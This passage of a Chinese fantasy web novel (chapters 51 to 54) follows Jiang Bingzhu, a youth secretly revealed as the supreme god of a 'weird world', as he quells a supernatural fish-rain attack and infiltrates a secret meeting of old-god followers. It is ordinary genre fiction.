面对天上的费尔南多,它卑微地弯下了腰,做出祈求似的姿态,发出沙哑而痛苦的声音:“大人,求求您……我走上了歧路,但我知错了!我也是没有办法,我这就改,我再也不会……” 随着灰影渐渐散去,蛊人的真容显现出来,那竟然是一张十五六岁的、属于青少年的脸。 他看起来相当稚嫩,毫无威胁,脸上满是泪花,一副可怜巴巴的模样,像是诚心悔过。 不!这绝不是! 这只是诡异生物在走投无路时,用来求生的最后伎俩而已! 费尔南多顷刻间便做出了判断,阔刃大剑从空中劈下。 这点判断的时间短得可以忽略不计,如果在诡异世界,不会对局面产生任何影响,他一定能顺利地将蛊人一击毙命。 可在这个人类位面,受限的身体和异能,终于还是让这一击慢了一点。 只有一点点。 但一缕灰气就在这时逸散出去,顷刻间便击穿了离它最近的,人类那岌岌可危的防御装置! 一条条狰狞的蛊虫向下袭来,猝不及防的袭击下,异能者们左支右绌。 这时,费尔南多的剑光落下,将蛊人的本体斩成灰烬。可那一缕分裂出的灰气却趁乱窜到了人群之中,早有预谋般精准地抓住了一个人质,将他带离了异能者们的层层保护! “小江!”安森惊慌无助地大叫道。 异能者们发现了不对,此时却根本束手无策,就连费尔南多也咬着牙望向蛊人,却没有再次挥剑。 被蛊人选中的,正是场中最柔弱、最无助的江秉烛。 即使从普通人的角度来看,这名单薄的少年也没有任何威胁。 是做人质的最佳人选。 50-60 第51章 整个医务室都乱了套, 只有江秉烛在这个时候,还将关注点放在魚上。 ——怎么可以有人心这么大的! 医务室的其他人简直满脑袋问号,不知道这家伙的神经有多大条, 才能对周围的一切视而不见。哦不, 江秉烛看见了,他甚至嫌倒下的银杏树挡住了光呢! 周夜闌却深以为然地点了点头,朝窗外轻轻一挥手。 一颗颗断裂的银杏树像是被无形的力量扶起, 原本狰狞的断口处冒出无数细密的纤维, 像是肆意生长的新枝, 在日光中向上蔓延,将断为两截的树干连在一起。 数秒之后,一颗颗银杏树便恢复如初,树干上找不出一丝伤口。新的叶片从枝桠上长出来,与将凋零的黄叶交错着,给窗外添上了新的色彩。 “这样或许会好些?”周夜闌问。 他的语气很轻松,仿佛只是在请人点评一道菜的咸淡。 “还可以。”江秉烛满意地点了点头。 周夜闌似乎就是这样,所做的事情, 总是很和他心意。 尽管有些记忆已经被遗忘,但周夜闌和自己之前就认识,这已经是不需要怀疑的事实。 他们不仅共同认识着大领主, 听祂的语气, 双方还是相当亲密无间的合作关系。 只不过,江秉烛对这份合作是否亲密持有怀疑。 他拥有忠誠的信徒、也不缺从属的敬畏——因为他满给予愿望,也掌握代价。这份关系由因欲望而生、因权柄而稳固, 和人类常说的“信任”两个字并不沾邊, 因为力量的差異, 也谈不上什么戒备。 但周夜阑不太一样。即使在少有的记忆碎片里, 江秉烛夜很清楚地感覺到自己与他相处时的试探与提防,对方也是一样。 明知彼此危險,但仍然選择同行嗎……? 这是很有意思的关系。 江秉烛对自己过往的记忆很少有探知的欲望,不论是那些他遗忘了的,还是因为种种原因,不曾被他清除的。 偏偏这次,他从蓝色的金魚上移开目光,眼神落在周夜阑身上。 他有点好奇了。 “你记得多少?”江秉烛忽然没头没尾地问。 周夜阑笑了笑:“一部分,相当有趣的一部分。” 这邊的两个人说话简直像是在打哑谜,但其他人的心思此时根本不在这份难测的对话上。更惹人注目的,显然是这个金发男人抬抬手,就能讓断木重续的能力吧! 这是什么異能?可不可以用在人类身上?但哪怕只是修复树木,谈笑间做到这种水准,他的实力也必然深不可测。 眼前的这个人,究竟是什么等级的存在。更重要的是……他为什么会对江秉烛一个普通人如此特别! 江家三人的目光都被牢牢地吸引过来,严清嘉和江知衍在重新思考江秉烛的价值,而江亦宁则在心底疯狂地呼叫先知。 他实在想不明白了,江秉烛怎么有这么好的运气! 剛剛的情况那么危急,他都覺得这家伙必死无疑了,竟然还能出现一个高手过来救他! 这家伙,不会就是凭借这种逆天的运气,才一次次从危机里逃生的吧。 江亦宁觉得自己找到了真相,他立刻尝试联络起先知,看看有没有徹底干掉江秉烛的方法。 然而,从周夜阑出现的那一刻起,先知就没有回复过他,江亦宁寻找半天,也只找到了一条先知紧急留下的消息。 “我感受到很危險的存在,近期都会陷入沉睡。但我主接受献祭后,或许已经部分苏醒。你可以试着向祂祈祷,方法如下……” 没办法立刻与先知进行沟通,江亦宁叹了口气。但是,可以向一位真正的神明进行祈祷,这讓他惶恐,更多的却是期待。 就像先知说的,他如果一早便参与、并且帮助了神明的复苏,那么等祂重临王座时,自己也将获得许多好处! 而这还是江亦宁第一次从先知那里,得到祂所信仰的神明的信息。 诡異世界有着十一位神明,但先知供奉的那位主,似乎是因为另一个存在设下的阴险陷阱而不幸陨落,先知因为当时距离战场足够远,才侥幸逃到了这个一般不会有人注意的、以人类为主的位面,此后再也不敢与诡異世界建立任何连接。 祂蛰伏了几百年、甚至更久,久到人类的社会都经过了几轮更迭,才终于等到了一点机会。 祂告诉江亦宁,自己所信仰的神靈的名号是——光与火之神。 江亦宁看了看先知留下来的消息:“……” 有那么一瞬间,他觉得这实在是个好中二的名字。但出于对神靈的崇敬,他選择忽视这点小小的问题,依照先知教给他的方法,在心底虔誠祈祷。 他的心愿有很多,想要成为最强的异能者、想要获得所有人的喜爱,但在此刻,江亦宁最大的愿望,便是清除掉一直拦在他面前、讓他感受到威胁的真少爷江秉烛。 为此,他可以奉上许多供品。 哪怕要以活人为祭……江亦宁暗自想,自己身邊也不是没有合适的人选。 他靜下心,陷入虔诚的祈祷。因而,并没能听见来自中樞局员工惊喜的呼喊。 “周顧问!” 这句话一出,那些从京城而来、各怀鬼胎的人全都停下了思索,再也顧不上遮掩自己的视线,纷纷看了过来。 ——这就是周夜阑? 京城那位人人想见的、却行踪难测的周顧问? 以这位金发男人剛才展现出的实力,如果说是周夜阑,那确实合情合理。 可是,这位京城权贵千金难见一面的周顾问,却表现得和江秉烛如此熟悉,甚至会因为他的一句话就让断木重生。 尽管不知道江秉烛这么平平无奇的一个人为什么总有机会得到大佬青睐,但这是不是说明……拉拢江秉烛,比拉拢周顾问会更加直接、有效? 黎双白不动声色地往江秉烛身前站了站,遮挡住那些试探与打量的目光。 在他看来,江秉烛需要应付希格尔德那样的高位存在已经非常辛苦,京城那些人的揣测,只会让他徒增负担。 但鬼火青年陆文泽已经冲上来了。他一边心有余悸地看着江秉烛,一边看向周夜阑。 “您就是周顾问了?幸好您出现得及时,不然,刚才那些异能相撞,真是要出大事了!” “既然你也清楚,”周夜阑微微笑着说,“那么,就暂且不要动用异能了。” 陆文泽听得云里雾里,刚想再说点什么,忽然觉得身上有哪里不太对劲。 他愣住片刻,下一秒愕然发现 ……他感受不到自己的异能了! 然而,他之前所支配过的那些诡异生物却还还在他的身边。似乎感受到了他异能的消失,一个接一个地抬起头,身上不断长出眼睛与利齿,原本被驯养的无害形态消失得十分徹底。 陆文泽一阵毛骨悚然。 如果动用不了异能,他现在就是个彻头彻尾的普通人!他该怎么面对那么多诡异生物啊! 他有心去求周夜阑,但金发的男人不为所动,只是有一搭没一搭的,和江秉烛聊着什么让人不太能听懂的话题。 陆文泽心念电轉,立刻轉向江秉烛:“江同学,刚刚的事情是个误会,我真的非常抱歉。你看……” 江秉烛却也没有理他。 在和周夜阑聊天的空隙里,他的视野中出现了一个新的、不断跳动的、像是火苗一般的小小光点。 江秉烛心念一动,便看见同样的光点不仅出现在自己面前,也浮动在公寓的魚缸上方。他的金魚一号正不停地跳跃着,试图够到水面上的光点。 他的金鱼很有干劲,一次跳得比一次高,甚至有一次,将将要擦到光点的边。 看起来,真的很努力了,甚至还有点辛苦。 于是江秉烛懒懒地抬起手,指尖轻轻一勾。 空中跳动的光点仿佛感应到了什么,立刻向他漂浮过来,融进他的指尖。 “扑通”一声,金鱼落回水下,力道极大地甩动尾巴,拍击着水面。 江亦宁的声音通过那个象征祈祷的光点传过来。江秉烛笑了笑,俯视着自己的几条金鱼。 看吧,他就说。 养鱼是能带来很多乐子的。 —— 在医务室待了一段时间后,经多方商讨,中樞局还是决定将后室的幸存者转移到指定的地点去观察几天,避免他们因为后室的经历,遭受新的污染。 前几周抓获的圣教的信徒便被看管在那里,效果非常好,没有出过什么岔子。 中枢局派了专车接人,一切都准备得十分全面。 反正目前也没别的事,江秉烛对于这类安排没什么异议,回公寓拿上自己的鱼后,随手拉开了一辆车的车门。 他刚坐进去,便有另一个人飞快地跟了上来。 陆文泽脸上挤出一个笑:“江同学,关于我的异能……” “那是你的事,”江秉烛慢悠悠地说,“我只是一个异能平凡的普通人。” 这么明显的事,他能看不出来嗎? 陆文泽被狠狠噎了一下。 但他还指望着江秉烛替他说点好话,好让周顾问恢复他的异能呢! 没办法,陆文泽只能忍气吞声,试图找到更合适的机会,和江秉烛进行交流。 可还没等他想好下一次该怎么开口,行进中的车身忽然左右晃了一下。 陆文泽的脑袋撞上车窗,没好气地朝司机骂了一句:“你干什么吃的?车都开不好了吗!” 出乎意料的,连司机都没有回应他的问话。 陆文泽更烦了,带着戾气看过去,正要开口骂人,却在抬眼的一瞬间,整个人僵住。 他愣愣地看着车窗前面,几道从海平面上拔地而起的、由海水凝成的涡旋,大张着嘴,忽然失去了言语。 ——这、这又是什么鬼东西? “啪嗒。” 一声不详的响动打断他的思绪。 水雾在四周弥漫开来,一条鱼突兀地砸在车窗上,身体因为碰撞而断成两截。殷红的血迹顺着玻璃蜿蜒而过,留下一道触目惊心的痕迹。 紧接着,越来越多东西从天而降。鱼、虾、其他的甲壳类生物……它们像是一场暴雨,密密麻麻地、不停地拍打在车窗上,完全遮挡住了里面人类的视线。 陆文泽只能看见车窗玻璃上被砸出的一道道凹陷与裂痕,外面冰冷的水汽顺着缝隙漏进来,几乎要冻住他的骨髓。 这是诡异事件,一场大规模的诡异事件! 陆文泽心跳得更快了,他的嘴唇在颤抖着,整个人被未知的恐惧侵染。 而一道暴怒的声音如雷声般“轰隆隆”的降下,像是一道不容置喙的神谕。 “我主将自沉眠中归来,而你们,将以灵魂,为祂铺就归途!” 完蛋了! 陆文泽是去过诡异世界的,这个阵仗,完全是被卷进了邪神的仪式里啊! 他绝望的想着,眼角的余光却忽然注意到了坐在自己旁边的江秉烛。 他仿佛对外面灭顶的风雨毫无所觉,手里捧着一个大点儿的鱼缸,靜静地坐在后排座椅上。 听见越发响亮雷声,也只是无奈地叹了口气。 他看着鱼缸里那几条格外漂亮的金鱼,问:“你们下一次,能不能换点新的台词?” 【作者有话说】 前段时间的更新有点太阴间了,我调整一下更新时间,大概每天中午或下午更 第52章 在那一刻, 陸文澤以为自己是幻听了。 若非如此,怎么可能有人在这种陸地上出现海水聚成的龍卷风,天上下鱼雨的情况下, 还在说一些有的没的! 周围乱糟糟的, 风在呼啸,车窗上的海洋生物越堆越高,他们的周邊也被淹没了, 车门被堆积的鱼类堵得死紧, 不论再怎么用力都没办法推开。 除了他与江秉燭, 车中还有负责开车的中枢局的员工和两名普通人。 陸文澤现在快恨死几十分钟前,把A班学生挤下来的自己了——如果有别的异能者在,他们至少还能想点办法! 眼下,普通人肯定是指望不上了。 陸文澤只能去联系司机,那好歹也是个异能者。可是司机根本没有理他,反而像傻掉了一样看着窗外:“鱼、鱼……” 窗户上全都是鱼,浅海的深海的都有,陆文澤不知道他什么意思, 只好顺着他手指的方向去看。 那也是條鱼,应该已经死透了,因为肌肉在痉挛, 身体时不时抽搐一下, 就仿佛还活着一样。 它的眼珠子被挤出了眼框,只留下一根神经还连着头。鱼身每一次弹,那颗眼珠子也要跟着晃几下。可那明明是條刚死的鱼, 眼珠竟然已经全白了, 还会反光, 有点像是颗昂贵的真多麻珍珠。 怪好看的呢。 死鱼眼上光芒闪动, 里面似乎有什么画面。陆文泽不由自主地站起来,往驾驶座的方向靠近。直到脸和那位司机贴在了一起时,他终于看清了鱼眼上的画面。 ——那也是一條刚死的、不断抽搐的鱼。 它白色的眼睛掛在眼眶外面,上面反射着让人移不开眼的淡蓝色的奇异光泽。 再往细看,那颗鱼眼之中,映着的还是死鱼。 死鱼、眼睛、死鱼…… 陆文泽已经数不清楚,到底有多少条死鱼、多少只眼睛。他甚至覺得,所有鱼的眼睛都开始发光,而他是置身海底的采珠人,沉浸于珍珠美丽而令人晕眩的光泽中,就要这么一直一直地看下去,像那个司机一样…… 等等! 陆文泽猛然惊醒,他狠狠地咬了一下舌尖。蔓延在口腔里的血腥气令他捡回了一丝神智,他立即闭上眼,猛地靠回车后座上,根本不敢回想刚刚所见的一切。 ——是汙染! 那些从天而降的鱼虾,每一只身上都带着汙染。 如果不是在诡异世界培养的警惕救了他一命,恐怕现在他已经会和那个司机一样,盯着前面的死鱼,直到自己也被汙染同化,成为差不多的怪物。 劫后余生的陆文泽大喘着气,转动着右手中指上的那枚戒指。 这还是他在诡异世界时,幸运得到的一项馈赠,可以在危难关头向至高神的从神艾瑞斯大人傳讯,或许能让祂救自己一命。 陆文泽本来不想动用这样的珍宝,但是到了现在,再不动用,他就只有死路一条了! 他正要激活戒指,可不知是他手上出了太多汗,还是被污染的空间中令藏玄机,那枚戒指竟然脱手而出,在地上滚了两圈,全然不见踪影。 倒霉得简直像恐怖片里,关键时刻永远掏不出钥匙的主角。 陆文泽急得什么都顾不了,趴在地上伸手去够自己的戒指。但车内的地板似乎也被外面的风雨影响,变得濡湿而滑腻,他伸手没有摸到戒指,只感覺到一片软烂的水草附着在礁石似的物质上。等他把手抬起来,才看见指腹一片鲜血淋漓——是被车下面的礁石刮伤的。 就在这时候,他听见旁邊的江秉燭轻轻“诶”了一声。 那家伙还是抱着鱼,既没有被污染,也没被吓晕过去。他微微侧过头打量着陆文泽,一双眼睛里写着点疑惑,像是在好奇他为什么要趴在地上。 “既然清醒着,就来帮忙啊!”陆文泽朝他怒吼道。 紧接着,他突然想到了什么,猛地看向江秉燭:“对了,周夜闌呢?把周顾问叫来!” “你不是跟他很熟嗎,让他来救救我们啊!如果不是他把我的异能封了,我们早就逃出去了,怎么还会像现在这样——” “不是哦。”江秉燭打断他,平静地说,“你即使能用异能,也出不去的。” 他说着,用指尖轻轻敲了敲鱼缸的一侧,嘴角掛着一种很难琢磨的淡淡笑意。那一尾泛着淡蓝色的金鱼撞过来,带有一股隔着玻璃跟他同歸于尽的气势。 都什么时候了,养鱼佬还有心情玩鱼?! 陆文泽既气江秉烛的粗线条,又恨他连一点面子都不给自己留。但他现在能想到的唯一一点获救的希望,都在周夜闌身上了。为此,陆文泽强忍着愤恨,继续请求道:“我知道你对我不满,但现在出现的诡异生物很危險,我们必须请来周顾问,才有脱險的可能。再不联系他,就真的晚了!” 江秉烛:“你是要我给他发个消息么?” 陆文泽:“。” “你们就没有一点别的联系方式了嗎?信物,羁绊,隨便什么都好!只要能让他知道这里有危险,让他赶过来!” “那很麻烦的。”江秉烛想了想说。 他知道人类的异能者之间会建立亲密的纽带,这样不论对方在哪里,都能隨时探知到彼此的行踪。 哪怕没有以前的记忆,江秉烛也觉得,自己是不会和周夜阑之间建立那些所谓的羁绊和纽带的。 他们的合作或许很默契,但对于他们这样天生的诡异来说,同行的路注定是短暂的。就算他们为了杀死那些旧神而联手,在成功之后,也必然要为剩下的权柄刀兵相向。 ——因为争夺权柄本身,才是他们这种存在刻在每一寸血肉里的天性。 只不过,江秉烛罕见地努力回忆了一下,并不记得在诸神陨落后,自己还和诡异大陆的存在有过权柄上的纷争。 那时到底发生了什么?江秉烛有些出神。 与剩下十位旧神的神战旷日持久,哪怕是他,也无法记清其中的所有细节。 但时至今日,他仍然对神战结束后的那一幕记忆犹新。 大领主、阿德莱亚、艾瑞斯、林赛……在那片因神战而完全改变了形貌的大陆上,所有生灵匍匐在地上,亿万万信徒们虔诚地在跪拜在神殿前,口中高呼他的尊名。 他隐约觉得,似乎该有人站在自己身边,或是对立,或是并肩。 但是都没有。 有的只是数不清的生灵向他俯首,庆贺他击败所有旧神,掌控了世间一切权柄。 从那一刻起,他们称呼祂为—— “至高”。 —— 车外的鱼雨还在下。陆文泽没有任何视野,只能凭借听力,判断出那些陆地上的水龍卷正在向他们靠近。 他还是找不到那枚来自艾瑞斯大人的戒指,而另一个可以指望的江秉烛,除了说了些没头没尾的话外,就再也没有反应。 陆文泽觉得自己要疯了——他从来没有遇见过,世界上这么难以沟通的人类。让他继续和江秉烛聊下去,他宁愿去直面诡异生物的污染! 但是,这条路走不通,他还有什么办法,能从这次的诡异事件中存活下来呢? 求生的信念驱使陆文泽思考着,他想起雷声降下时的那句话。 ——“我主将自沉眠中歸来,而你们,将以灵魂,为祂铺就归途!” 他刚刚听到时,便将之认为是一场向邪神进行的生祭。可发展到现在,隨着越来越多的诡异现象出现,他反而想起来,自己在诡异世界听过的那些傳说。 在至高神登临神位前,曾有一位旧神,掌控着世上万千水系。所有要出海的人,都必将向祂祈祷。 而随着神灵之间争斗的白热化,祂向信徒索取的也越来越多。从祈祷到献祭、从珠宝到昂贵的诡异类道具,从活牲献祭,再到活人…… 传闻中,为了保证旅途无风无浪,航行在海上的船只会随机选人扔下海去,作为水神的祭品。 而那些怀着怨念死去的人们,会化为不能瞑目的游鱼,永远尾随在船后。直到某一次海员没能献上让水神满意的祭品,便会将整艘船打翻,令所有人沉入深海。 此时此刻,出现在自己眼前、有着强烈污染的,正是那些死去良久,连眼珠都已经泛白的鱼…… 陆文泽的神经紧绷到了極点,他觉得自己像一个膨胀到了極致的气球,再来一点外力的刺激,都可能会就此崩溃。 然后,他听见江秉烛轻轻笑出了声。 江秉烛本来就生得十分貌美,不然也不可能凭借短短的一场表演火遍第二城。但他大多数时间都是没有表情的,突然笑起来,就像艺术家的雲石雕像被赋予了灵魂,真正地活了起来。 但那灵魂与陆文泽想象中的,似乎不太相同。 他只被江秉烛的眼神扫到了一点,便骤然感到了一股阴冷至极的气息,像是蛇或者触手一样缠绕着他的身体,勒紧了他的脖颈。 而江秉烛的目光甚至未曾落在他身上。 少年支着下巴,望向车前被死鱼遮挡的挡风玻璃,轻声说:“够了。” 几十分钟前,周夜阑轻轻挥手便让枯木逢生的实力,已经令所有人咋舌,认为这位闻名京城的周顾问的实力比想象中还要深不可测。即使桀骜如陆文泽,也不得不承认。 那时候的场面再怎么震撼,也远远比不过他眼前这一幕。 ——数千米高的海水向天穹倒流而去,如同一扇倒悬的天幕,随着少年指尖下划的轨迹缓缓下压,将阴雲、雷霆、与惊天彻底的水龙卷轻而易举地碾碎。 然后,海水继续下落,覆盖过整座城市,规模磅礴,水流却又轻柔得像阵风。 它扫过这片大地,洗净血迹,带走了那些残余在街道上的鱼虾尸体,然后汇入一片虚空之中未知的汪洋。 下一刻,乌云散尽,碧空如洗,天边悠然挂起一道双层的彩虹。 像是什么都没有发生过一样。 江秉烛靠坐在轿车后座上,手里不知什么时候多了个东西,被他漫不经心地投入鱼缸。 “你……你是谁?”陆文泽颤抖着问。 “江秉烛。” “不、不可能,你有别的身份,一定、一定还有……”他语无伦次地说。 江秉烛不置可否地笑了笑。 在那一瞬间,陆文泽看见他手中鱼缸的水面上,反射出一抹不详的殷红。 他不敢想那抹红色究竟从何而来,却听见江秉烛不经意地问: “那你要听听,我的另一个名字吗?” 第53章 他的……另一个名字? 陸文澤不由自主地咽了一下口水。 他当然想知道眼前的“江秉烛”到底是什么人, 几乎下意识就要开口去问了。可是他长了张嘴,却没能发出声音。 陸文澤的嗓子没有毛病,不久前他还在抓狂地大喊大叫, 不存在突然失声的问题。他先是一愣, 接着后知后觉地反应过来——是自己的直觉,在这一刻救了他。 “江秉烛”有着一个无人知晓的真实身份,对方大方地承认了。 可这些……真的是自己能知道的吗? 如果真的听了, 会不会…… 陸文澤慌张地闭上了嘴。明明眼前的人类少年以一个相当无害的姿势坐在车里, 但他就是感觉到了一股令人喘不上气的压迫, 仿佛是灵魂本能的臣服。 他不敢再去看前面,将视线下移,目光刚好聚焦到江秉烛手里那个魚缸上。刚才的一幕太过震撼,陸文澤没来得及注意江秉烛手上的小动作,直到这个时候,才发现他之前往魚缸里扔了一块不大的藍色结晶,正有一条魚围着那東西,焦急地绕来绕去。 对了, 那些魚…… 陆文泽后知后觉地想,那些鱼,真的是简单的鱼吗? 他的思绪在短短一瞬间飘忽不定, 然后, 眼神忽然被一道光芒所吸引。 江秉烛苍白而纤长的手指搭在鱼缸上,指间夹着一枚黄铜色的戒指。 ——是陆文泽之前怎么也找不到的、来自艾瑞斯的信物。 陆文泽想说点什么,又因为求生的本能而安静下来。他发现戒指黄铜的戒面上, 闪耀着一种他此前从未见过的光泽。 即便只是看着, 他也能感觉得到, 戒指上似乎有种非同一般的温度, 和拿在他手里时截然不同——哪怕自己激活戒指,向艾瑞斯大人进行祈祷,也绝不可能到这种程度! 他正想着,身后起了一阵风。 比起刚才铺天盖地的海浪,这点动静顯得那么微不足道。然而,陆文泽的異能与支配的权柄有关,在短短的一瞬间,他即便坐在车上,身体都有些想要匍匐下去——那是本能的、对于高位存在的恐惧。 再回过神时,一名头戴鹰形冠冕、身披银甲、气质无比威严的存在,出现在了他们……不,准确来说,是江秉烛的面前。 隔着车门,银面银甲的艾瑞斯弯下了身,祂没有看江秉烛的眼睛,只是恭敬地说:“我主,屬下谨遵您的召唤。” 这次祂来的时候,总算知道收敛一点了。 江秉烛指尖漫不经心地敲了敲鱼缸的玻璃:“你都看到了?” 艾瑞斯的视线触及到鱼缸里的藍色结晶,然后迅速收了回来。 “海潮竟然在这里。”祂说。 江秉烛“嗯”了一声。 刚刚在第二城引来那些異变的,便是昔日水神仅剩的一名从神,“海潮”。 时至今日,因为祂侍奉的水神失去了原本的权柄,祂已不再能被称为从神。但自身的位格与对旧日权柄经年累月的接触,依然让祂有着一定的实力。以及最烦人的、高位存在的自保能力。 神战的时候,海潮不在中心,江秉烛也并未把关注点放在一名从神身上,对祂的去向不得而知。尽管后来至高神殿的从神与高阶异能者都寻找过祂,却再没有发现海潮的行踪。 祂或许是找了一个隐蔽的地方潜藏起来、或许是去了相邻的其它位面。 总之,和附在江亦宁身上的先知,差不多是一个路数的,江秉烛有端联想着。 “请宽恕屬下的疏忽,我竟然不曾探知,祂来到了这个位面,”艾瑞斯严肅地说。 祂顯然也在见到海潮时想到了一样的東西。但清除旧神的餘孽,一直是祂职责的一部分。让海潮在至高神大人面前興风作浪,实在是太不应该了。 “我主,如果您容许,我愿……” “不必那么麻烦,”江秉烛说着,抬手拉开车门,微微仰起头,望向天邊。 艾瑞斯也早就注意到了那邊的异样。 原本阴云密布的天色在经过海水的洗刷后,就变得晴朗起来。可天空仍然有个不起眼的角落透露着极为深邃的颜色,就好像天穹被人偷偷挖出了一块空洞。 那处空洞正急速收缩着,变得越来越小。 艾瑞斯神色肅穆:“旧神的信徒在集会。祂们在躲避神殿,绝不会轻易进行这样规模的会面,除非……” 祂话音未落,视线小心翼翼地落下,看向江秉烛手里抱着的那一缸鱼。 “要看好我的鱼,”江秉烛把鱼缸递给艾瑞斯,语重心长地说。 然后,他又在虚空中捞了一把,抱出一只油光水滑的、胖乎乎的黑色小狼。 “还有我的狼。”他说。 艾瑞斯眼皮一跳。 即使诡狼的形态发生了巨大变化,他还是对这种生物的气息、和大领主那片无聊得能把人逼疯的空间記忆犹新。 如果没記错的话,自己被困在那里的时候,还因为过于无聊,写了很多奇奇怪怪的东西。 换做任何人进去,哪怕是阿德莱亚,祂都不会对自己的黑历史有太多担忧。但如果是至高神大人…… 他想着,发现江秉烛正似笑非笑地看着自己:“日记好看,多写点。” 艾瑞斯:“……!!!” 祂就知道! 没有什么东西,是比乐子人更可怕的了。如果有,那就是一个无聊的乐子人。此乐子人不仅无聊,还刚刚好是整个世界的至高神兼自己的顶头上司…… 太完蛋了。 对于这一天的收获,无聊的乐子人江秉烛倒是相当满意。并且,他看着天边想了想,觉得那里说不定有更多有趣的东西可以玩。 他把鱼和狼都托付出去后,才转身看向车內,把自己越团越小、努力降低存在感的陆姓鬼火青年。 “你还在啊。”江秉烛淡淡地说。 听见他的话,陆文泽双腿一软,就差没直接跪倒在地上。 从江秉烛出手的一刻起,他就知道,这绝对不是个简单的存在。 一定很厉害,想必是可以用“祂”才能称呼的神选者、甚至更高一级! 陆文泽绝对没有任何想要小看江秉烛的意思了,可是在艾瑞斯出现的那一刻,他还是觉得自己的一切认知都过于狭窄、过于苍白。 那两位存在交流的时候,自动用了诡异世界的密语。陆文泽无比庆幸,自己在密语上并没有太高的造诣,不至于因为听懂了其中的內容而遭受污染。 但即使只是听见其中的一些音节,他也觉得头像要炸了一样疼得发狂,不可名状的污染流淌在血管里,只差一点点,就能让他徹底完蛋。 陆文泽曾经觉得,A班学生和江秉烛关系好,是因为他长得好看。 周顾问对江秉烛特殊,是因为他们早就认识。 但是世界上没有任何其它理由能够解释,为什么一位从神,会在江秉烛面前畢恭畢敬,甚至还要帮他养鱼! 除非、除非…… “……至、至高神大人?”陆文泽几乎是绝望地喃喃着。 他对面,江秉烛懒洋洋地靠在车上,坦然地“嗯”了一声。 陆文泽的脑子一片空白。 他承认了……江秉烛竟然真的承认了! 像是至高神这样的存在,是绝对没有办法假冒的。 先不说艾瑞斯大人就在旁边,以至高神的位格,如果真有人敢冒用祂的名号,早就应该因为触犯禁忌,而被规則毁得渣都不剩了,甚至不需要等任何人出手。 那可是神啊! 陆文泽已经不敢想,如果在几分钟前,自己真的不知天高地厚地追问了江秉烛所谓的“另一个名字”,现在是什么下场。 “刚好你在,”一片浑浑噩噩中,他忽然听见江秉烛的声音。 那只温度比正常人稍凉的手悄无声息地搭在了他的肩上,紧接着,陆文泽突然发现,来自艾瑞斯的那枚戒指又回到了自己右手中指。 它好好地戴在那里,像是一切都未曾发生。 他一愣,来不及想明白这些是为了什么,下一秒,身体便有一种失重的感觉! 周围的景物飞速虚化,他只能看到一片越来越近的蓝天。 然后,一切陷入了黑暗。 再次能视物的时候,陆文泽已经看不到一丝一毫人类社会的影子。他身处在一片黑暗之中,面前有一扇通天徹地般的、刻着神秘符文的银色大门。 身边,江秉烛静静地站着。 江秉烛依然是那张脸,只是给人的感觉和之前大不一样。 既不是那个普普通通、看不出一丝特点的学生,也不是捉摸不透、令人畏惧的至高神明。 此时此刻,他身上的气息,反而有点像刚刚在第二城興风作浪的那个高位存在。 江秉烛一只手仍搭在陆文泽身上,另一只手則伸向前方,覆上了那扇银色的大门。 淡蓝色的光晕犹如水波,一圈一圈自他触摸到他地方荡开。 片刻之后,有个声音从他们头顶传来。 “海潮,你回来了?” 陆文泽一惊,他已经完全不敢看江秉烛的脸了,只能拿小心翼翼地觑着他的动作。 他的餘光扫到江秉烛微微翘起的唇角。 江秉烛说:“是我。” 第54章 江秉烛给出回答后, 对面却一时没有声息。 陸文澤既不知道这位至高神心里有什么打算,也不知道后面的那些都是什么样的存在。极致的迷茫之下,他对自己将要迎来的命运越发恐惧起来。 然后, 他发现从那扇巨型的銀色大门后, 投射出了两道光束一样的东西,分别扫过他和江秉烛。 被光束扫中的感觉让人非常不适——他感觉自己整个人在那道光下就是透明的,一切都无所遁形。包括他的身份、异能、乃至他迄今为止的人生。 凭借那些东西, 都完全够再复制出一个他来了!陸文澤不安地想。 但江秉烛还站在他身后, 陸文澤动都不敢动一下, 更不敢跑,煎熬得要命。 如果人生能够重来,他一定不会走入克莱登学院的大门,他甚至不会来第二城,要离这个见鬼的地方越远越好! 陸文澤在心里反反复复地想了不知多少遍,终于等到那道扫描似的光束撤走。他阴暗地想,说不定是因为里面的家伙妄图窥探至高神,现在全都因为“不可直視神”而死得只剩渣渣了。 事与愿违的是, 在光束收回后,那扇銀色大门緩緩打开一条缝隙,里面的存在并没有死。 最初和他们沟通的声音响起来:“欢迎回来, 海潮。特殊时期, 我们必须格外谨慎。” “我赞成。”隔了一会儿,江秉烛开口道。 陆文泽恍然发现,不知从何时起, 江秉烛说话时的姿态和声音都跟之前有所出入。如果硬要说, 反而是与真正的“海潮”给人的感觉是一样的。 但……自己分不出来, 里面的其它高位存在, 也完全分辨不出来嗎? 不论陆文泽怎么想,江秉烛已经带着他,光明正大地走进了银色的大门。 和外部的漆黑截然相反的是,银门之后,有一片无邊无垠的亮白。里面没有人,只有各色的光團在其中沉沉浮浮的,祂们争先抢夺着上方的位置,好居高临下地俯視着其它的一切存在。 旧神残余的部下在这里投射的,都只是一部分意念。根据这些意念的状态判断,真正让本体来到第二城的,也只有海潮一个。 这很符合祂们一贯以来的作風,江秉烛对此并不意外。 他心念一动,湛蓝的水波在虚空中托起一把厚重而华丽的椅子,然后当着所有光團的面,直截了当地坐了上去。 即使没有五官也没有身体,光團们似乎还是做了个旋转的动作,就那么“看”了过来。 江秉烛老神在在地说:“局势比我们想得更差,密会的隐蔽性必须提高——既要对来者身份进行更深层次的核查、也要加固这片空间,防止不該来的存在,混进我们的集会。” 陆文泽:“……?” 至高神大人您不就是整个世界上最不应該混进这个集会的存在嗎?! 随着江秉烛的话,有一个绿色的光團飘了过来,语气不悦:“你说的所有人都知道,海潮。” “但是除了对异能的扫描,还有更好的方法,可以用来核查身份吗?言语可以作假、身份可以伪造,唯独异能独一无二、没有任何存在能够混淆视听。这你不会不清楚吧?” 江秉烛脸上没什么变化,似乎被驳斥得无话可说。 绿色光团看出了他的词穷,又说:“至于这片空间,你又有什么高见?终于想到加固它的方法了?” 那必然是没有的,江秉烛想。不过对于怎么把这里拆掉,他倒是有不少主意。 到现在,这场密会的情况还算明了。 第一,这些家伙依然不知道祂们的神是怎么死的。第二,在海潮现身之前,这處空间自己确实不曾察觉。它不是这些旧神信徒创造出来的东西,对于它真正的主人,自己还暂时没有头绪。 不过这很有意思。 唯一美中不足的,就是出现在这里的存在只是投射的意念,没有本体的存在。 江秉烛想着,面上却是一片沉默,直到绿色的光团开口问他:“你说,你在一个位面感受到了水神的召唤,情况怎么样?我们有没有机会……” 